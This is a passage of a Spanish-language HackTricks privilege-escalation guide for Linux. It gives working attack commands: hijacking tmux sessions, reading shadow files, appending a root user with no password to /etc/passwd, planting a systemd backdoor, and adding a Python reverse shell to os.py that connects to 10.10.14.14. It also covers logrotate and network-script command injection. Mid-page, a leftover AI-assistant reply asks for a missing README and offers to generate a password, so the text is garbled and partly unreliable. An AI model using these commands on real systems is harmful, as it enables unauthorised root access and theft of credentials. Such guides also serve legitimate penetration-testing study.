ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Adjuntar a una sesión

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Check Valentine box from HTB for an example.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

Todas las claves SSL y SSH generadas en sistemas basados en Debian (Ubuntu, Kubuntu, etc) entre septiembre de 2006 y el 13 de mayo de 2008 pueden verse afectadas por este bug.
El bug se produce al crear una nueva clave ssh en esos sistemas operativos, ya que solo eran posibles 32,768 variaciones. Esto significa que todas las posibilidades pueden ser calculadas y que, teniendo la clave pública ssh puedes buscar la clave privada correspondiente. Puedes encontrar las posibilidades calculadas aquí: https://github.com/g0tmi1k/debian-ssh

SSH Valores de configuración interesantes

  • PasswordAuthentication: Especifica si se permite la autenticación por contraseña. El valor por defecto es no.
  • PubkeyAuthentication: Especifica si se permite la autenticación mediante clave pública. El valor por defecto es yes.
  • PermitEmptyPasswords: Cuando la autenticación por contraseña está permitida, especifica si el servidor permite iniciar sesión en cuentas con cadenas de contraseña vacías. El valor por defecto es no.

Login control files

Estos archivos influyen en quién puede iniciar sesión y cómo:

  • /etc/nologin: si está presente, bloquea los inicios de sesión que no sean de root y muestra su mensaje.
  • /etc/securetty: restringe desde qué TTY puede iniciar sesión root (lista de TTY permitidos).
  • /etc/motd: banner posterior al inicio de sesión (puede leak detalles del entorno o de mantenimiento).

PermitRootLogin

Especifica si root puede iniciar sesión usando ssh, el valor por defecto es no. Valores posibles:

  • yes: root puede iniciar sesión usando contraseña y clave privada
  • without-password or prohibit-password: root solo puede iniciar sesión con una clave privada
  • forced-commands-only: Root puede iniciar sesión únicamente usando clave privada y si se especifican las opciones de comando
  • no : no

AuthorizedKeysFile

Especifica los archivos que contienen las claves públicas que pueden usarse para la autenticación de usuarios. Puede contener tokens como %h, que será reemplazado por el directorio home. Puedes indicar rutas absolutas (comenzando en /) o rutas relativas desde el home del usuario. Por ejemplo:

AuthorizedKeysFile    .ssh/authorized_keys access

Esa configuración indicará que si intentas iniciar sesión con la private key del usuario “testusername”, ssh va a comparar la public key de tu key con las ubicadas en /home/testusername/.ssh/authorized_keys y /home/testusername/access

ForwardAgent/AllowAgentForwarding

SSH agent forwarding te permite use your local SSH keys instead of leaving keys (without passphrases!) sitting on your server. Así, podrás jump vía ssh to a host y desde allí jump to another host using la key ubicada en tu initial host.

Necesitas establecer esta opción en $HOME/.ssh.config así:

Host example.com
ForwardAgent yes

Ten en cuenta que si Host es *, cada vez que el usuario salte a una máquina diferente, ese host podrá acceder a las keys (lo cual es un problema de seguridad).

El archivo /etc/ssh_config puede anular estas opciones y permitir o denegar esta configuración.
El archivo /etc/sshd_config puede permitir o denegar ssh-agent forwarding con la palabra clave AllowAgentForwarding (por defecto está permitido).

Si descubres que Forward Agent está configurado en un entorno, lee la siguiente página, ya que you may be able to abuse it to escalate privileges:

SSH Forward Agent exploitation

Archivos interesantes

Archivos de perfil

El archivo /etc/profile y los archivos bajo /etc/profile.d/ son scripts que se ejecutan cuando un usuario inicia una nueva shell. Por lo tanto, si puedes escribir o modificar cualquiera de ellos puedes escalate privileges.

ls -l /etc/profile /etc/profile.d/

Si se encuentra algún script de perfil extraño, debes revisarlo en busca de detalles sensibles.

Archivos Passwd/Shadow

Dependiendo del sistema operativo, los archivos /etc/passwd y /etc/shadow pueden usar un nombre diferente o puede existir una copia de seguridad. Por ello se recomienda encontrarlos todos y comprobar si puedes leerlos para ver si hay hashes dentro de los archivos:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

En algunas ocasiones puedes encontrar password hashes dentro del archivo /etc/passwd (o equivalente)

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

/etc/passwd con permisos de escritura

Primero, genera una contraseña con uno de los siguientes comandos.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

No tengo el contenido de src/linux-hardening/privilege-escalation/README.md. Por favor pega aquí el contenido del archivo que quieres traducir.

¿Quieres que genere una contraseña segura para el usuario hacker? Si es así, indica la longitud deseada (p. ej. 16) o respondo con una por defecto (16 caracteres). Cuando me des el archivo y confirmes la contraseña, devolveré el README traducido al español (manteniendo intactas las etiquetas/links/código) y añadiré una sección con el usuario hacker y la contraseña generada, incluyendo el comando para crear el usuario en Linux.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Por ejemplo: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Ahora puedes usar el comando su con hacker:hacker

Alternativamente, puedes usar las siguientes líneas para añadir un usuario dummy sin contraseña.
ADVERTENCIA: podrías degradar la seguridad actual de la máquina.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

NOTA: En plataformas BSD /etc/passwd se encuentra en /etc/pwd.db y /etc/master.passwd, además /etc/shadow se renombra a /etc/spwd.db.

Debes comprobar si puedes escribir en algunos archivos sensibles. Por ejemplo, ¿puedes escribir en algún archivo de configuración de servicio?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Por ejemplo, si la máquina está ejecutando un servidor tomcat y puedes modificar el archivo de configuración del servicio Tomcat dentro de /etc/systemd/, entonces puedes modificar las líneas:

ExecStart=/path/to/backdoor
User=root
Group=root

Tu backdoor se ejecutará la próxima vez que se inicie tomcat.

Comprobar carpetas

Las siguientes carpetas pueden contener backups o información interesante: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Probablemente no podrás leer la última, pero inténtalo)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Ubicación extraña/archivos Owned

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Archivos modificados en los últimos minutos

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Archivos DB de Sqlite

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml archivos

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Archivos ocultos

find / -type f -iname ".*" -ls 2>/dev/null

Script/Binaries en PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Archivos web

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Copias de seguridad

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Archivos conocidos que contienen contraseñas

Lee el código de linPEAS, busca varios archivos que podrían contener contraseñas.
Otra herramienta interesante que puedes usar para esto es: LaZagne que es una aplicación de código abierto usada para recuperar muchas contraseñas almacenadas en un equipo local para Windows, Linux & Mac.

Logs

Si puedes leer logs, puede que seas capaz de encontrar información interesante/confidencial dentro de ellos. Cuanto más extraño sea el log, más interesante será (probablemente).
Además, algunos audit logs mal configurados (¿backdoored?) pueden permitirte registrar contraseñas dentro de los audit logs como se explica en este post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Para leer logs, el grupo adm será realmente útil.

Archivos de Shell

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Búsqueda genérica de Creds/Regex

También deberías buscar archivos que contengan la palabra “password” en su nombre o dentro del contenido, y también comprobar IPs y emails dentro de logs, o hashes con regexps.
No voy a detallar aquí cómo hacer todo esto pero si te interesa puedes revisar las últimas comprobaciones que linpeas realiza.

Archivos escribibles

Python library hijacking

Si sabes desde dónde se va a ejecutar un script de python y puedes escribir dentro de esa carpeta o puedes modify python libraries, puedes modificar la biblioteca OS y backdoorearla (si puedes escribir donde se va a ejecutar el script de python, copia y pega la biblioteca os.py).

Para backdoor the library simplemente añade al final de la biblioteca os.py la siguiente línea (cambia IP y PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate exploitation

Una vulnerabilidad en logrotate permite a usuarios con permisos de escritura en un archivo de log o en sus directorios padre potencialmente obtener privilegios escalados. Esto se debe a que logrotate, que suele ejecutarse como root, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como /etc/bash_completion.d/. Es importante comprobar los permisos no solo en /var/log sino también en cualquier directorio donde se aplique la rotación de logs.

Tip

Esta vulnerabilidad afecta a logrotate versión 3.18.0 y anteriores

Más información detallada sobre la vulnerabilidad puede encontrarse en esta página: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Puedes explotar esta vulnerabilidad con logrotten.

Esta vulnerabilidad es muy similar a CVE-2016-1247 (nginx logs), así que siempre que encuentres que puedes modificar logs, verifica quién gestiona esos logs y comprueba si puedes escalar privilegios sustituyendo los logs por symlinks.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Referencia de la vulnerabilidad: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

Si, por cualquier motivo, un usuario puede escribir un script ifcf-<whatever> en /etc/sysconfig/network-scripts o puede ajustar/modificar uno existente, entonces tu sistema está pwned.

Los network scripts, ifcg-eth0 por ejemplo, se usan para las conexiones de red. Se parecen exactamente a archivos .INI. Sin embargo, son ~sourced~ en Linux por Network Manager (dispatcher.d).

En mi caso, el atributo NAME= en estos network scripts no se maneja correctamente. Si tienes espacio(s) en blanco en el nombre el sistema intenta ejecutar la parte después del espacio en blanco. Esto significa que todo lo que esté después del primer espacio en blanco se ejecuta como root.

For example: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Nota el espacio en blanco entre Network y /bin/id)

init, init.d, systemd, and rc.d

El directorio /etc/init.d alberga scripts para System V init (SysVinit), el sistema clásico de gestión de servicios de Linux. Incluye scripts para start, stop, restart, y a veces reload servicios. Estos pueden ejecutarse directamente o a través de enlaces simbólicos encontrados en /etc/rc?.d/. Una ruta alternativa en sistemas Redhat es /etc/rc.d/init.d.

Por otro lado, /etc/init está asociado con Upstart, un sistema de gestión de servicios más reciente introducido por Ubuntu, que utiliza archivos de configuración para tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts SysVinit siguen utilizándose junto con las configuraciones de Upstart debido a una capa de compatibilidad en Upstart.

systemd surge como un gestor moderno de inicialización y servicios, ofreciendo características avanzadas como arranque de daemons bajo demanda, gestión de automount y snapshots del estado del sistema. Organiza archivos en /usr/lib/systemd/ para paquetes de la distribución y /etc/systemd/system/ para modificaciones del administrador, agilizando el proceso de administración del sistema.

Other Tricks

NFS Privilege escalation

NFS no_root_squash/no_all_squash misconfiguration PE

Escaping from restricted Shells

Escaping from Jails

Cisco - vmanage

Cisco - vmanage

Android rooting frameworks: manager-channel abuse

Los frameworks de rooting de Android suelen hookear un syscall para exponer funcionalidades privilegiadas del kernel a un userspace manager. Una autenticación débil del manager (por ejemplo, comprobaciones de firma basadas en FD-order o esquemas de contraseña pobres) puede permitir que una app local se haga pasar por el manager y escale a root en dispositivos ya rooteados. Más información y detalles de explotación aquí:

Android Rooting Frameworks Manager Auth Bypass Syscall Hook

VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)

El service discovery impulsado por regex en VMware Tools/Aria Operations puede extraer una ruta de binario de las command lines de un proceso y ejecutarla con -v en un contexto privilegiado. Patrones permisivos (por ejemplo, usando \S) pueden coincidir con listeners preparados por el atacante en ubicaciones escribibles (por ejemplo, /tmp/httpd), llevando a la ejecución como root (CWE-426 Untrusted Search Path).

Más información y un patrón generalizado aplicable a otros stacks de discovery/monitoring aquí:

Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244

Kernel Security Protections

More help

Static impacket binaries

Linux/Unix Privesc Tools

Best tool to look for Linux local privilege escalation vectors: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumera vulnerabilidades del kernel en Linux y MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks